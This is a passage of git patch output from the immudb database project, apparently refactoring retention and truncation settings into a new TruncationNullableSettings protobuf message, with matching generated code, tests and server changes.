immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 202: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 203: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 204: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 106, // 205: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 206: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 106, // 207: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 108, // 208: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 209: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 134, // 210: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 94, // 211: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 96, // 212: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 122, // 213: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 214: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 134, // 215: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 134, // 216: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 134, // 217: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 134, // 218: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 134, // 219: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 134, // 220: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 221: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 134, // 222: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 134, // 223: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 118, // 224: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 112, // 225: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 134, // 226: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 134, // 227: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 113, // 228: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 229: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 134, // 230: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 231: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 232: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 233: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 234: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 235: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 236: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 237: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 238: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 239: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 240: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 241: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 242: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 243: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 244: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 245: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 246: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 247: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 248: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 249: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 250: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 251: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 252: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 253: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 134, // 254: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 134, // 255: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 256: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 87, // 257: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 89, // 258: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 91, // 259: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 102, // 260: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 104, // 261: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 99, // 262: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 134, // 263: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 264: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 265: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 266: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 93, // 267: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 134, // 268: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 106, // 269: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 270: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 106, // 271: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 272: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 106, // 273: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 106, // 274: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 106, // 275: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 276: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 106, // 277: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 278: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 111, // 279: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 113, // 280: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 113, // 281: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 113, // 282: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 98, // 283: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 123, // 284: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 214, // [214:285] is the sub-list for method output_type + 143, // [143:214] is the sub-list for method input_type + 143, // [143:143] is the sub-list for extension type_name + 143, // [143:143] is the sub-list for extension extendee + 0, // [0:143] is the sub-list for field type_name } func init() { file_schema_proto_init() } @@ -11547,7 +11604,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexNullableSettings); i { + switch v := v.(*TruncationNullableSettings); i { case 0: return &v.state case 1: @@ -11559,7 +11616,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AHTNullableSettings); i { + switch v := v.(*IndexNullableSettings); i { case 0: return &v.state case 1: @@ -11571,7 +11628,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoadDatabaseRequest); i { + switch v := v.(*AHTNullableSettings); i { case 0: return &v.state case 1: @@ -11583,7 +11640,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoadDatabaseResponse); i { + switch v := v.(*LoadDatabaseRequest); i { case 0: return &v.state case 1: @@ -11595,7 +11652,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UnloadDatabaseRequest); i { + switch v := v.(*LoadDatabaseResponse); i { case 0: return &v.state case 1: @@ -11607,7 +11664,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UnloadDatabaseResponse); i { + switch v := v.(*UnloadDatabaseRequest); i { case 0: return &v.state case 1: @@ -11619,7 +11676,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDatabaseRequest); i { + switch v := v.(*UnloadDatabaseResponse); i { case 0: return &v.state case 1: @@ -11631,7 +11688,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDatabaseResponse); i { + switch v := v.(*DeleteDatabaseRequest); i { case 0: return &v.state case 1: @@ -11643,7 +11700,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FlushIndexRequest); i { + switch v := v.(*DeleteDatabaseResponse); i { case 0: return &v.state case 1: @@ -11655,7 +11712,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FlushIndexResponse); i { + switch v := v.(*FlushIndexRequest); i { case 0: return &v.state case 1: @@ -11667,7 +11724,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Table); i { + switch v := v.(*FlushIndexResponse); i { case 0: return &v.state case 1: @@ -11679,7 +11736,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLGetRequest); i { + switch v := v.(*Table); i { case 0: return &v.state case 1: @@ -11691,7 +11748,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSQLGetRequest); i { + switch v := v.(*SQLGetRequest); i { case 0: return &v.state case 1: @@ -11703,7 +11760,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLEntry); i { + switch v := v.(*VerifiableSQLGetRequest); i { case 0: return &v.state case 1: @@ -11715,7 +11772,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSQLEntry); i { + switch v := v.(*SQLEntry); i { case 0: return &v.state case 1: @@ -11727,7 +11784,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UseDatabaseReply); i { + switch v := v.(*VerifiableSQLEntry); i { case 0: return &v.state case 1: @@ -11739,7 +11796,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ChangePermissionRequest); i { + switch v := v.(*UseDatabaseReply); i { case 0: return &v.state case 1: @@ -11751,7 +11808,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SetActiveUserRequest); i { + switch v := v.(*ChangePermissionRequest); i { case 0: return &v.state case 1: @@ -11763,7 +11820,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponse); i { + switch v := v.(*SetActiveUserRequest); i { case 0: return &v.state case 1: @@ -11775,7 +11832,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListRequestV2); i { + switch v := v.(*DatabaseListResponse); i { case 0: return &v.state case 1: @@ -11787,7 +11844,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponseV2); i { + switch v := v.(*DatabaseListRequestV2); i { case 0: return &v.state case 1: @@ -11799,7 +11856,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseWithSettings); i { + switch v := v.(*DatabaseListResponseV2); i { case 0: return &v.state case 1: @@ -11811,7 +11868,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Chunk); i { + switch v := v.(*DatabaseWithSettings); i { case 0: return &v.state case 1: @@ -11823,7 +11880,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UseSnapshotRequest); i { + switch v := v.(*Chunk); i { case 0: return &v.state case 1: @@ -11835,7 +11892,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecRequest); i { + switch v := v.(*UseSnapshotRequest); i { case 0: return &v.state case 1: @@ -11847,7 +11904,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryRequest); i { + switch v := v.(*SQLExecRequest); i { case 0: return &v.state case 1: @@ -11859,7 +11916,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedParam); i { + switch v := v.(*SQLQueryRequest); i { case 0: return &v.state case 1: @@ -11871,7 +11928,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecResult); i { + switch v := v.(*NamedParam); i { case 0: return &v.state case 1: @@ -11883,7 +11940,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CommittedSQLTx); i { + switch v := v.(*SQLExecResult); i { case 0: return &v.state case 1: @@ -11895,7 +11952,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryResult); i { + switch v := v.(*CommittedSQLTx); i { case 0: return &v.state case 1: @@ -11907,7 +11964,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Column); i { + switch v := v.(*SQLQueryResult); i { case 0: return &v.state case 1: @@ -11919,7 +11976,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Row); i { + switch v := v.(*Column); i { case 0: return &v.state case 1: @@ -11931,7 +11988,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLValue); i { + switch v := v.(*Row); i { case 0: return &v.state case 1: @@ -11943,7 +12000,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxRequest); i { + switch v := v.(*SQLValue); i { case 0: return &v.state case 1: @@ -11955,7 +12012,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxResponse); i { + switch v := v.(*NewTxRequest); i { case 0: return &v.state case 1: @@ -11967,7 +12024,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ErrorInfo); i { + switch v := v.(*NewTxResponse); i { case 0: return &v.state case 1: @@ -11979,7 +12036,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DebugInfo); i { + switch v := v.(*ErrorInfo); i { case 0: return &v.state case 1: @@ -11991,7 +12048,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RetryInfo); i { + switch v := v.(*DebugInfo); i { case 0: return &v.state case 1: @@ -12003,7 +12060,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TruncateDatabaseRequest); i { + switch v := v.(*RetryInfo); i { case 0: return &v.state case 1: @@ -12015,7 +12072,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TruncateDatabaseResponse); i { + switch v := v.(*TruncateDatabaseRequest); i { case 0: return &v.state case 1: @@ -12027,7 +12084,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustExistPrecondition); i { + switch v := v.(*TruncateDatabaseResponse); i { case 0: return &v.state case 1: @@ -12039,7 +12096,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + switch v := v.(*Precondition_KeyMustExistPrecondition); i { case 0: return &v.state case 1: @@ -12051,6 +12108,18 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i { case 0: return &v.state @@ -12073,7 +12142,7 @@ func file_schema_proto_init() { (*Op_ZAdd)(nil), (*Op_Ref)(nil), } - file_schema_proto_msgTypes[112].OneofWrappers = []interface{}{ + file_schema_proto_msgTypes[113].OneofWrappers = []interface{}{ (*SQLValue_Null)(nil), (*SQLValue_N)(nil), (*SQLValue_S)(nil), @@ -12087,7 +12156,7 @@ func file_schema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, NumEnums: 3, - NumMessages: 129, + NumMessages: 130, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 45cbe50e87..df3920dd0e 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1035,11 +1035,8 @@ message DatabaseNullableSettings { // Size of the LRU cache for value logs NullableUint32 vLogCacheSize = 28; - // Retention Period for data in the database - NullableMilliseconds retentionPeriod = 29; - - // Truncation Frequency for the database - NullableMilliseconds truncationFrequency = 30; + // Truncation settings + TruncationNullableSettings truncationSettings = 29; } message ReplicationNullableSettings { @@ -1077,6 +1074,14 @@ message ReplicationNullableSettings { NullableBool AllowTxDiscarding = 11; } +message TruncationNullableSettings { + // Retention Period for data in the database + NullableMilliseconds retentionPeriod = 1; + + // Truncation Frequency for the database + NullableMilliseconds truncationFrequency = 2; +} + message IndexNullableSettings { // Number of new index entries between disk flushes NullableUint32 flushThreshold = 1; diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 06d3a0de86..a257d5a4d4 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2132,13 +2132,9 @@ "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the LRU cache for value logs" }, - "retentionPeriod": { - "$ref": "#/definitions/schemaNullableMilliseconds", - "title": "Retention Period for data in the database" - }, - "truncationFrequency": { - "$ref": "#/definitions/schemaNullableMilliseconds", - "title": "Truncation Frequency for the database" + "truncationSettings": { + "$ref": "#/definitions/schemaTruncationNullableSettings", + "title": "Truncation settings" } } }, @@ -3394,6 +3390,19 @@ } } }, + "schemaTruncationNullableSettings": { + "type": "object", + "properties": { + "retentionPeriod": { + "$ref": "#/definitions/schemaNullableMilliseconds", + "title": "Retention Period for data in the database" + }, + "truncationFrequency": { + "$ref": "#/definitions/schemaNullableMilliseconds", + "title": "Truncation Frequency for the database" + } + } + }, "schemaTx": { "type": "object", "properties": { diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index ba03434359..3e61e7188c 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -96,8 +96,10 @@ func TestCreateDatabaseV2(t *testing.T) { SyncThreshold: &schema.NullableUint32{Value: 10_000}, WriteBufferSize: &schema.NullableUint32{Value: 8000}, }, - RetentionPeriod: &schema.NullableMilliseconds{Value: 24 * time.Hour.Milliseconds()}, - TruncationFrequency: &schema.NullableMilliseconds{Value: 1 * time.Hour.Milliseconds()}, + TruncationSettings: &schema.TruncationNullableSettings{ + RetentionPeriod: &schema.NullableMilliseconds{Value: 24 * time.Hour.Milliseconds()}, + TruncationFrequency: &schema.NullableMilliseconds{Value: 1 * time.Hour.Milliseconds()}, + }, } _, err := client.CreateDatabaseV2(ctx, "db1", dbNullableSettings) require.NoError(t, err) @@ -143,8 +145,8 @@ func TestCreateDatabaseV2(t *testing.T) { require.Equal(t, dbNullableSettings.AhtSettings.SyncThreshold.Value, res.Settings.AhtSettings.SyncThreshold.Value) require.Equal(t, dbNullableSettings.AhtSettings.WriteBufferSize.Value, res.Settings.AhtSettings.WriteBufferSize.Value) - require.Equal(t, dbNullableSettings.RetentionPeriod.Value, res.Settings.RetentionPeriod.Value) - require.Equal(t, dbNullableSettings.TruncationFrequency.Value, res.Settings.TruncationFrequency.Value) + require.Equal(t, dbNullableSettings.TruncationSettings.RetentionPeriod.Value, res.Settings.TruncationSettings.RetentionPeriod.Value) + require.Equal(t, dbNullableSettings.TruncationSettings.TruncationFrequency.Value, res.Settings.TruncationSettings.TruncationFrequency.Value) _, err = client.UpdateDatabaseV2(ctx, "db1", &schema.DatabaseNullableSettings{}) require.NoError(t, err) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 9853ad1a38..d3ceda7824 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -356,8 +356,10 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin ReadTxPoolSize: &schema.NullableUint32{Value: uint32(opts.ReadTxPoolSize)}, - RetentionPeriod: &schema.NullableMilliseconds{Value: int64(opts.RetentionPeriod)}, - TruncationFrequency: &schema.NullableMilliseconds{Value: int64(opts.TruncationFrequency)}, + TruncationSettings: &schema.TruncationNullableSettings{ + RetentionPeriod: &schema.NullableMilliseconds{Value: int64(opts.RetentionPeriod)}, + TruncationFrequency: &schema.NullableMilliseconds{Value: int64(opts.TruncationFrequency)}, + }, } } @@ -571,12 +573,14 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul } } - if settings.RetentionPeriod != nil { - opts.RetentionPeriod = Milliseconds(settings.RetentionPeriod.Value) - } + if settings.TruncationSettings != nil { + if settings.TruncationSettings.RetentionPeriod != nil { + opts.RetentionPeriod = Milliseconds(settings.TruncationSettings.RetentionPeriod.Value) + } - if settings.TruncationFrequency != nil { - opts.TruncationFrequency = Milliseconds(settings.TruncationFrequency.Value) + if settings.TruncationSettings.TruncationFrequency != nil { + opts.TruncationFrequency = Milliseconds(settings.TruncationSettings.TruncationFrequency.Value) + } } // index options diff --git a/pkg/server/server.go b/pkg/server/server.go index 975cef3131..8a1eb7cf0a 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1242,7 +1242,7 @@ func (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDat } } - if req.Settings.RetentionPeriod != nil && req.Settings.TruncationFrequency != nil && !db.IsClosed() { + if req.Settings.TruncationSettings != nil && !db.IsClosed() { err = s.stopTruncatorFor(req.Database) if err != nil && err != ErrTruncatorNotInProgress { return nil, fmt.Errorf("%w: while stopping truncation", err) @@ -1274,7 +1274,7 @@ func (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDat } } - if req.Settings.RetentionPeriod != nil && req.Settings.TruncationFrequency != nil && !db.IsClosed() { + if req.Settings.TruncationSettings != nil && !db.IsClosed() { err = s.startTruncatorFor(db, dbOpts) if err != nil && err != ErrTruncatorNotNeeded { return nil, fmt.Errorf("%w: while starting truncation", err) diff --git a/pkg/server/truncator_test.go b/pkg/server/truncator_test.go index bac647fc0b..fbac71596a 100644 --- a/pkg/server/truncator_test.go +++ b/pkg/server/truncator_test.go @@ -58,8 +58,10 @@ func TestServerTruncator(t *testing.T) { newdb := &schema.CreateDatabaseRequest{ Name: "db", Settings: &schema.DatabaseNullableSettings{ - RetentionPeriod: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, - TruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, + TruncationSettings: &schema.TruncationNullableSettings{ + RetentionPeriod: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, + TruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, + }, }, } diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index a3986fc6a1..52a594bfef 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -71,7 +71,7 @@ func (t *Truncator) Start() error { opts := t.db.GetOptions() t.hasStarted = true - t.logger.Infof("starting truncator for db '%s' with retention period '%v' and truncation frequency '%v'", t.db.GetName(), opts.RetentionPeriod.Seconds(), opts.TruncationFrequency.Seconds()) + t.logger.Infof("starting truncator for database '%s' with retention period '%v' and truncation frequency '%v'", t.db.GetName(), opts.RetentionPeriod.Seconds(), opts.TruncationFrequency.Seconds()) go func() { ticker := time.NewTicker(opts.TruncationFrequency) From 1086ef874403b2b6aaf0f73b35ff89de401fd321 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 24 Jan 2023 11:33:09 +0530 Subject: [PATCH 0177/1062] chore(pkg/server): add test successful load/unload of db with truncator --- embedded/store/immustore.go | 29 ++++++++------- pkg/database/database_test.go | 2 +- pkg/database/truncator.go | 22 ++++++------ pkg/database/truncator_test.go | 16 ++++----- pkg/server/server.go | 2 +- pkg/server/server_test.go | 24 ++++++------- pkg/server/truncator.go | 9 ++++- pkg/server/truncator_test.go | 62 +++++++++++++++++++++++++++++++++ pkg/truncator/truncator.go | 34 +++++++++++------- pkg/truncator/truncator_test.go | 7 ++-- 10 files changed, 141 insertions(+), 66 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index b674de1dc3..1a64d7b587 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2867,6 +2867,9 @@ func minUint64(a, b uint64) uint64 { } // readTxOffsetAt reads the value-log offset of a specific entry (index) in a transaction (txID) +// txID is the transaction ID +// index is the index of the entry in the transaction +// allowPrecommitted indicates if a precommitted transaction can be read func (s *ImmuStore) readTxOffsetAt(txID uint64, allowPrecommitted bool, index int) (*TxEntry, error) { s.mutex.Lock() defer s.mutex.Unlock() @@ -2943,32 +2946,32 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { return s.readTxOffsetAt(id, false, 1) } - back := func(id uint64) error { - first, err := readFirstEntryOffset(id) + back := func(txID uint64) error { + firstTxEntry, err := readFirstEntryOffset(txID) if err != nil { return err } - // Iterate over all past transactions and store the minimum offset for each value log file. - v, off := decodeOffset(first.VOff()) - if _, ok := tombstones[v]; !ok { - tombstones[v] = off + // Iterate over past transactions and store the minimum offset for each value log file. + vLogID, off := decodeOffset(firstTxEntry.VOff()) + if _, ok := tombstones[vLogID]; !ok { + tombstones[vLogID] = off } return nil } - front := func(id uint64) error { - first, err := readFirstEntryOffset(id) + front := func(txID uint64) error { + firstTxEntry, err := readFirstEntryOffset(txID) if err != nil { return err } // Check if any future transaction offset lies before past transaction(s) // If so, then update the offset to the minimum offset for that value log file. - v, off := decodeOffset(first.VOff()) - if val, ok := tombstones[v]; ok { + vLogID, off := decodeOffset(firstTxEntry.VOff()) + if val, ok := tombstones[vLogID]; ok { if off < val { - tombstones[v] = off + tombstones[vLogID] = off } } return nil @@ -2980,11 +2983,11 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { var i uint64 = minTxID for i > 0 && len(tombstones) != s.MaxIOConcurrency() { err = back(i) - i-- - if err != nil { // if txn not found, then continue as previous txn could have been deleted + if err != nil { // if there is an error reading a transaction, stop the traversal and return the error. s.logger.Errorf("failed to fetch transaction %d {traversal=back, err = %v}", i, err) return err } + i-- } } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 341d27aa43..644ec9d47f 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2194,7 +2194,7 @@ func Test_database_truncate(t *testing.T) { require.NoError(t, err) 